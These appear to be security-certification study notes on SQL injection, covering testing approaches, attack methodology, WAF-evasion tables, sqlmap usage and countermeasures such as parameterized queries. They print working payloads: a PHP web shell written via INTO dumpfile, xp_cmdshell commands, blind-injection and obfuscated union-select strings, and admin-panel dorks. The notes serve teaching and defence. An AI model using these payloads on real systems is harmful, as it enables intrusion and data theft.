SQL injection overview
- Also known as SQLi
- Injecting malicious SQL queries into the application.
- Allows attacker to- Gain unauthorized access to system e.g. logging in without credentials
- Retrieve, modify or delete the information stored in the database- E.g. inserting new users, updating passwords
 
- Execute code remotely
 
- Exploits improper input validation in web applications
- A code injection technique.
- 💡 Can test on admin panels e.g. to find using google dorks inurl:adminlogin.aspx,inurl:admin/index.php,inurl:adminlogin.aspx
- 📝 Simple and quick way to test for SQL injection vulnerability is to insert a single quote (')- You can add other SQL code after that once vulnerability is verified.
 
SQL definition
- Structured Query Language
- Lets you access and manipulate databases
- SQL can be used to query both relational and non-relational databases- However SQL database usually means relational database.
 
Testing SQL injection
Black box testing
- Also known as blackbox testing or black-box testing
- Source code is not known to the tester
- Detect places where input is not sanitized
Function testing
- Output is compared to expected results
- E.g. setting ?id=query parameter to1'then to1'/*then to'1' AND '1'='1..
Fuzz testing
- Also known as fuzzing testing
- 📝 Inputting invalid/unexpected or random data and observing the changes in the output
- Often automated
- Monitors for exceptions such as crashes, failing built-in code assertions, or potential memory leaks
- Tools: • WSFuzzer • WebScarab • Burp Suite • AppScanq Peach Fuzzer
White box testing
- Also known as whitebox testing or white-box testing.
- Analyzing application source code.
- Static code analysis- Detect on source code
 
- Dynamic code analysis- Analyze during execution of the code
 
- Tools include: • Veracode • RIPS • PVS Studio
SQL injection methodology
- Information gathering- E.g. database structure, name, version, type..
- Goal is to identify vulnerabilities for SQL injection.
- Entry points in application tested to inject queries, e.g. invalidated input fields.
- 💡 Error messages can reveal information about the database type and version.
 
- SQL injection- Attacks to extract information from database such as name, column names, and records.
- Can also insert or update certain information in the database.- E.g. modifying password of an existing user or inserting himself as new user to gain access.
 
 
- Advanced SQL injection- Goal is to compromise underlying OS and network
- Techniques include- Interacting with file system- E.g. in MySQL: LOAD_FILE()to read andOUTFILE()to write
 
- E.g. in MySQL: 
- Collect network information- E.g. reverse DNS: exec master..xp_cmdshell 'nslookup a.com MyIP'
- E.g. reverse pings: '; exec master..xp_cmdshell 'ping 10.0.0.75' --
 
- E.g. reverse DNS: 
- Executing commands that call OS functions at runtime- E.g. in MySQL: CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'
 
- E.g. in MySQL: 
- Creating backdoor to use execute commands using a remote shell- E.g. SELECT '<?php exec($_GET[''cmd'']); ?>' FROM usertable INTO dumpfile '/var/www/html/shell.php'
 
- E.g. 
- Transfer database to attackers machine- E.g. by using OPENROWSET
 
- E.g. by using 
 
- Interacting with file system
 
SQL evasion
- Obfuscating input strings to avoid signature-based detection systems
- Using IP fragmentation with optionally trying different orders
Obfuscation against signature detection
| Technique | Plain-text | Obfuscated text | 
|---|---|---|
| In-line comment | select * from users | s/**/ele/**/ct/**/*/**/from/**/users | 
| Char encoding | e | char(101) | 
| String concatenation | Hello | 'Hel'+'lo' | 
| Obfuscated codes | /?id==1+union+(select+1,2+from+test.users) | /?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) | 
| Manipulating white spaces | OR 1 = 1 | 'OR'1'='1' | 
| Hex encoding | SELECT @@version = 31 | SELECT @@version = 0x1F | 
| Sophisticated Matches | OR 1 = 1 | OR 'hi' = 'hi' | 
| URL Encoding | select * from users | select%20%2A%20from%20users | 
| Case Variation | select * from users | SeLeCt * FrOM UsErs | 
| Null byte | UNION SELECT.. | %00' UNION SELECT.. | 
| Declare Variables | UNION Select Password | ; declare @sqlvar nvarchar(70); set @myVAR = N'UNI' + N'ON' + N' SELECT' + N'Password'); EXEC(@sqlvar) | 
OWASP categories
- SQL injection bypassing WAF | OWASP
- Normalization- Obfuscating with e.g. comments
- E.g. WAF blocks /?id=1+union+select+1,2,3/*- Attacker injects: /?id=1+un/**/ion+sel/**/ect+1,2,3--
- Request passes WAF, SQL becomes SELECT * from table where id =1 union select 1,2,3--
 
- Attacker injects: 
 
- HTTP Parameter Pollution (HPP)- Injects delimiting characters into query strings
- E.g. WAF blocks /?id=1+union+select+1,2,3/*- Attacker injects: /?id=1&id=+&id=union=&id=+select+&1,2,3
- Test e.g. google.com/search?q=hello&q=world
 
- Attacker injects: 
 
- HTTP Parameter Fragmentation (HPF)- Exploits SQL is built using more than parameter in backend- Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
 
- E.g. WAF blocks /?a=1+union+select+1,2/*- Attacker injects: /?a=1+union/*&b=*/select+1,2
 
- Attacker injects: 
 
- Exploits SQL is built using more than parameter in backend
- Blind SQL Injection- Replacing WAF signatures with their synonyms
- E.g. WAF blocks /?id=1+OR+0x50=0x50- Attacker injects /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1) ))=74
 
- Attacker injects 
 
- Signature bypass- E.g. WAF blocks is /?id=1+OR+1=1- Attacker injects /?id=1+OR+0x50=0x50
 
- Attacker injects 
 
- E.g. WAF blocks is 
SQL injection tools
- sqlmap- Automatic SQL injection and database takeover tool
- Requires session that can be retrieved through e.g. running Burp Suite as proxy.
- Run e.g. sqlmap -u https://cloudarchitecture.io/?id=3&Submit=Submit --cookie 'PHPSESSID=63j6; security:low'- Outputs e.g.- GET parameter id appears to be MySQL >= 5.0.12 AND time-based blind injectable
- GET parameter id is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
 
- --dbsparameter gets database names e.g.- mysql, phpmyadmin...
- -D <database-name> --tablesparameters lists tables from given tabase name..
- -T <table-name> --columnsgives column names
- -C <comma-separated-column-names> --dumpto get columns
 
- Outputs e.g.
- Can also crack hashes (not as fast as hashcat)
 
- jSQL Injection
- Older tools:
- Mobile tools- sqlmapchik for Android - GUI for sqlmap
- Andro Hackbar for Android
 
- See also SQL injection detection tools
SQL injection countermeasures
- Weakness: The database server runs OS commands - Run database with minimal rights
- Disable OS commands like xp_cmdshell(for shell access)- Invoking xp_cmdshellspawns a Windows command shell with input string passed to it for execution
- Providing local system level access to the server.
 
- Invoking 
 
- Weakness: Using privileged account to connect to the database - Monitor DB traffic using an IDS
- Apply least privilege rule for accounts/applications that access databases
 
- Weakness: Error message revealing important information - Suppress all error messages
- Use custom error messages
 
- Weakness: No data validation at the server - Filter and sanitize all client data 
- Size and data type checks protects against buffer overruns 
- E.g. - // Vulnerable code:
 var command = new SqlCommand("SELECT * FROM table WHERE name = " + login.Name, connection);
 // Safe code:
 var command = new SqlCommand("SELECT * FROM table WHERE name = @name ", connection);
 command.Parameters.Add("@name", SqlDbType.NVarChar, 20).Value = login.Name;
 
- Weakness: Implementing consistent coding standards - Server-side input validation, data access abstraction layer, custom error messages.
 
- Weakness: Firewalling the SQL Server - Allow only access from web server and administrators
 
SQL injection detection tools
- Commercial scanners
- Open source scanners
- Snort - Open Intrusion Prevention System (IPS)